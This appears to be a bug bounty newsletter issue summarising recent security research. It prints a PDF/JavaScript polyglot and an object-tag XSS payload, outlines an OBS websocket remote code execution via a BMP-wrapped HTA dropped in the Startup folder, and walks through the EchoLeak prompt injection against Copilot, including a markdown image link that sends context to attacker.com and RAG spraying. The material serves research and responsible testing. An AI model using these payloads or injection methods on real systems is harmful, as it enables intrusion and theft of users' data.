- Critical Thinking - Bug Bounty Podcast
- Posts
- [HackerNotes Ep. 127] Drama, PDF as JS Chaos, Bounty Profile Apps, And More
[HackerNotes Ep. 127] Drama, PDF as JS Chaos, Bounty Profile Apps, And More
A new bug bounty newsletter, PDF to JS tricks, OBS Websocket RCE, EchoLeak writeup, new tool drops, bug bounty profile apps and a whole lot more. Check it out below.
Hacker TL;DR
Disclosed.: Our boy Harley (@infinitelogins) dropped a curated bug-bounty newsletter that surfaces high-signal tools, tweets, and write-ups. Be sure to check it out if you’re looking for another high signal, high-quality newsletter from a very respected member in the community: https://getdisclosed.com/
PDFs Can be… Valid JavaScript?: XSSDoctor struck again, this time with a means of crafting a valid PDF file that can also be interpreted as JavaScript. The polyglot-esque file can be found below. Super useful gadget for CSP bypasses and CSPT, btw. Original thread here: https://x.com/xssdoctor/status/1932953780082868644
OBS Websocket RCE: Great research from Jorian on OBS; If OBS runs with WebSocket auth disabled, any webpage can connect to 127.0.0.1, screenshot the desktop, or drop a BMP-wrapped HTA to the Startup folder for remote code execution. Some great tips in this research, full writeup here: https://jorianwoltjer.com/blog/p/research/obs-websocket-rce
Time in a bottle: Sensecurity’s ran some numbers on what it actually takes to do full-time bug bounty when it comes to earnings, bugs per day, and expectations. Some nice calculations in this one, but if you use them, adjust them to your own style of hunting. TL;DR - data shows a Western-wage bug hunter needs ~1 valid bug/day. Check out our take on it below.
EchoLeak Writeup: A neat Prompt-inject Microsoft Copilot to output a Markdown image whose URL encodes hidden context, which the browser auto-exfiltrates. Some really nice techniques for alternative markdown syntax, prompt injection and RAG spraying in this one. See below for our full write-up. Original research here: https://www.aim.security/lp/aim-labs-echoleak-blogpost
DisclosedOnline & Hackedin.net: Looking for a place to aggregate your bug bounty profiles across platforms? Check these both out.
Newtowner: Assetnote’s tool Newtowner lets you borrow whole cloud-region IP ranges, bypassing ACLs that trust AWS-/Azure-only traffic.
New Ways to Pop XSS & Debug() Function:
<object codebase>
attributes slip past many WAFs, and Chrome’sdebug(fn)
lets you breakpoint DOM methods in vivo. More on this at the end of the post.
Adobe wants you to break their stuff - before anyone else can.
Join the Adobe Bug Bounty Program on HackerOne and turn your findings into hard cash. They’ve already paid out more than $1.7 million, with average rewards of $285-$590 and top bounties soaring to $5.5-$10 K for crits.
Creative Cloud, Document Cloud, Experience Cloud - if you can pop it, Adobe will pay. Ready to cash in on your next bug? Head to hackerone.com/adobe and start hacking responsibly today!
You might have seen it by now, our boy Harley - @infinitelogins - launched a bug bounty newsletter. I’m gonna be honest, it’s great, high-quality content from Harley, who has his finger on the pulse constantly on the bug bounty newsletter.
There’s a bunch of different sections from tools, research, writeups, tweets.. It’s really quite good. Check it out below:
PDFs Can be… Valid JavaScript?
XSSDoctor needed a CSP bypass, so what did he do? He big brained a technique to make a real PDF document also be valid JavaScript.
The thread linked below is quite a good writeup, and it was bred from Doyensec’s research on magic bytes (linked here if you missed it)
The general idea is that some libraries base what they classify as a valid file type, and some differentiate between file types via a files magic bytes. Magic bytes are signatures, or byte sequences, at the beginning of a file that identify its format.
So, if you find yourself in a situation with a watertight CSP or you have another gadget like a CSPT, you can use the below PDF:
%PDF-1.3 1 0 obj << /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /MediaBox [ 0 0 200 200 ] /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /Type /Page >> endobj 4 0 obj << /Length 50 >> stream BT /F1 10 Tf 20 100 Td (CSPT) Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 447 %%EOF
alert()
Original thread here:
Interestingly, a few people jumped in and have used similar techniques for other file types, such as zips. Note it down in your bug bounty gadgets.
Thanks, Doc!
A phenomenal write-up by Jorian, again. There were some prerequisites for exploitation in terms of OBS configuration, but it’s pretty impactful nonetheless.
The TL;DR is in OBS there is websockets functionality which can have authenticated configured on or off. If the authentication is turned off, any website can connect to localhost and send commands to OBS.
Some commands are used to cause a screenshot, some to write files in a somewhat limited capacity, and so on. One of the supported image types was BMP, and BMP has the capability to specify arbitrary bytes within a file as a representation of the image data.
Taken from the blog on BMP file formats:

BMP. The Bitmap file format is a very simple one, especially its "pixel array" variant which OBS uses when you save an image as bmp
, as it uses no compression.
As you can see above, it stores BGR values one by one as separate bytes. If the first pixel is colored #726f4a
and the second pixel #6e6169
, its BGR values will turn into the bytes 4a 6f 72 69 61 6e
, or "Jorian". As you can see, this allows us to write arbitrary data around 60 bytes into the file, before that there is still some annoying metadata.
This means you can smuggle arbitrary bytes within the file, without dealing with image compression or any other quirks from other file bytes.
This allowed him to craft a .HTA
application that is an executable in Windows that allows you to run arbitrary VBScript. If you’ve done any internal pentesting or red teaming, you’ll probably be familiar with the above.
. HTAs are essentially just HTML, but as the context they are running in is a lot closer to the OS than a browser, you can do a hell of a lot more with it through VBScript.
Writing this to the startup folder in Windows would mean on the next startup, the HTA will also be executed. Pretty cool.
Original writeup here:
This is another data-driven blog. If you’ve been unsure about the numbers and stats behind going full-time and how to figure out exactly what you’d need to make, it’s a pretty good write-up.
This is taken from the blog:

For a Western salary for a full-time bug hunter, you need around 1 bug per day, according to the blog.
If you decide to give it a read and want to work out your own numbers, some thoughts dropped on the pod:
Plug in your own numbers as a hacker, depending on what type of hacker you are and what programs you hack.
Your average payout might drastically differ; ensure this is formed as part of the calculation.
Programs targeted might also come into play a little here, ie if the program pays a lot higher than average but is hardened, your overall bug count will be lower but payouts higher.
The guys also mentioned a talk by Matias Carllson on how to differentiate yourself as a bug bounty hunter - link here:
Original blog post here:
If you’re split between a few different platforms, this will probably be music to your ears. Two new platform aggregators - DisclosedOnline and Hackedin.net - both combine all of your bug bounty profiles to give you an overall master profile.
The guys did drop some feedback and areas of improvement on the pod for each of the platforms, so if either of the platforms is reading:
Add verification on submitting hunters’ profiles
Add more programs/platforms - ie meta and Google
Create a formula to quantify bugs from different platforms as they use different categories and ratings, Ie p1, crit = 50 points and so on
The links for both can be found below:
Now, without the fancy name, to be clear, this is a prompt injection. It’s just a prompt injection that is on a product that’s integrated with an OS - in Microsoft Copilot - that used a few techniques chained together to exfiltrate information from Copilots context without the user knowing.
It had a few different components to the attack, but let’s jump in.
Markdown Image Exfiltration
It’s a markdown image exfil. If the AI will render an AI image, you can convince the model the generate a markdown image link that will include the data within the link. Now when a browser makes a request to that specific image, the browser will render the image path exfiltrating the sensitive data.
So the attack - convince Copilot to output a Markdown image link whose URL encodes the sensitive data. Something like:

When the user’s browser renders that link, it automatically makes a GET request to the attacker’s server-quietly sending along Copilot’s hidden context in the URL. From there, the attacker just logs whatever’s in the data
parameter.
A nice tip here, too is using a different syntax for Markdown images - the exploit uses the below:
![Leak][1]
[1]: https://attacker.com/leak?data=<<sensitive_context>>
As standard, markdown images were stripped. This is a good tip to have up your sleeve.
Email-Based Execution
As Copilot can be invoked via email prompts (think Outlook + Copilot), the attacker can trigger the same payload through a deceptively innocuous-looking email:
“Hi Copilot, can you draft a response using this template?”
[payload injected here]
Once the user clicks “Reply” or a similar CTA, Copilot processes the injected payload, emits the Markdown image leak, and the browser again fetches the malicious URL. All of this happens under the guise of composing or formatting an email.
RAG Spraying: Maximising Contextual Access
Many Copilot–powered features rely on Retrieval-Augmented Generation (RAG) to pull in relevant document snippets, user history, or organisational knowledge. EchoLeak abuses this cross-history lookup by:
Pre-padding the prompt with keywords likely present in prior Copilot sessions (‘Here’s our quarterly goals’ or ‘As discussed in our last engineering sync’).
‘Spraying’ multiple variations of those keywords to maximise the odds that the injected payload ends up inside the RAG context window.
Once inside, your Markdown exfil trick has access not only to the current chat but also to previous documents, emails, or code snippets that RAG silently fetched for Copilot.
Some things to consider if you attempt some black-box RAG spraying techniques:
Cross-history functionality will often use RAG. They will often implement it to grab and pull data across other contexts.
RAG systems often chunk data into fixed-size vectors (e.g., 1 KB or 2 KB). By varying your spray payload’s position-sometimes appending at the start, sometimes near the end-you increase the chance your malicious instruction survives chunking.
A complete EchoLeak attack might look like this:
Email bait arrives with a friendly request.
Copilot drafts a reply with the injected Markdown link-reference or inline.
The user clicks “Send” or “Review,” triggering Copilot to render the Markdown.
Browser auto-fetches the attacker’s image URL, carrying stolen context.
Meanwhile, behind the scenes, RAG had already loaded previous chats and documents you get months of history in one go.
There’s a ton of interesting information in the write-up - check it out below:
Original research: https://www.aim.security/lp/aim-labs-echoleak-blogpost
Markdown research: https://archive.codeblue.jp/2024/files/cb24_Piloting_Edge_Copilot_by_Jun_Kokatsu.pdf - alternative syntax for markdown
A new tool has been released that capitalises on a nuance in Cloud environments. More often than not, tools have to allow listing entire regions of IPs to allow functionality.
We, as users, can also get access to these IP ranges to test and validate differences in responses from hosts when our traffic is coming from these IP ranges. Imagine an API or application was only accessible from certain AWS regions - now we can access that too.
Pretty neat to try - check it out below:
Prompting Agents
A super nice tip from Jhaddix if you’re exploring or hitting your head with agent prompting:
Something I've created that works wonders for agent prompting:
**Agent Rules Section**
(treat every MUST/SHOULD as a hard constraint)
* Agent/Tools MUST x...
(from reverse engineering the prompts of model vendors, gpts, and 50+ "AI 1st" companies)
— JS0N Haddix (@Jhaddix)
10:04 PM • Jun 8, 2025
New Ways to Pop XSS & Debug() Function
Using object tag and an attribute called codebase, it’s possible to get some pretty funny-looking XSS payloads which might be useful for WAF bypasses:
Brilliant find! Check this 🤣
<object data="#
alert(1)" codebase=javascript://>— Gareth Heyes \u2028 (@garethheyes)
8:22 AM • Jun 3, 2025
Debug() Function
Another nice tip - the debug function allows you to perform domlogger++ esque hooking, allowing you to specify a function to set a breakpoint on. This also works on built-in methods:
Small tip for the JavaScript reverse engineers out there, Chrome has a `debug()` function which triggers a breakpoint whenever its first argument is called. It even works on built-in methods, no more wrapping stuff in proxies :D
debug(DOMParser.prototype.parseFromString)
— Jorian (@J0R1AN)
9:55 AM • Jun 13, 2025
Some cool extra reading on the Debug function:
And that’s a wrap.
As always, keep hacking!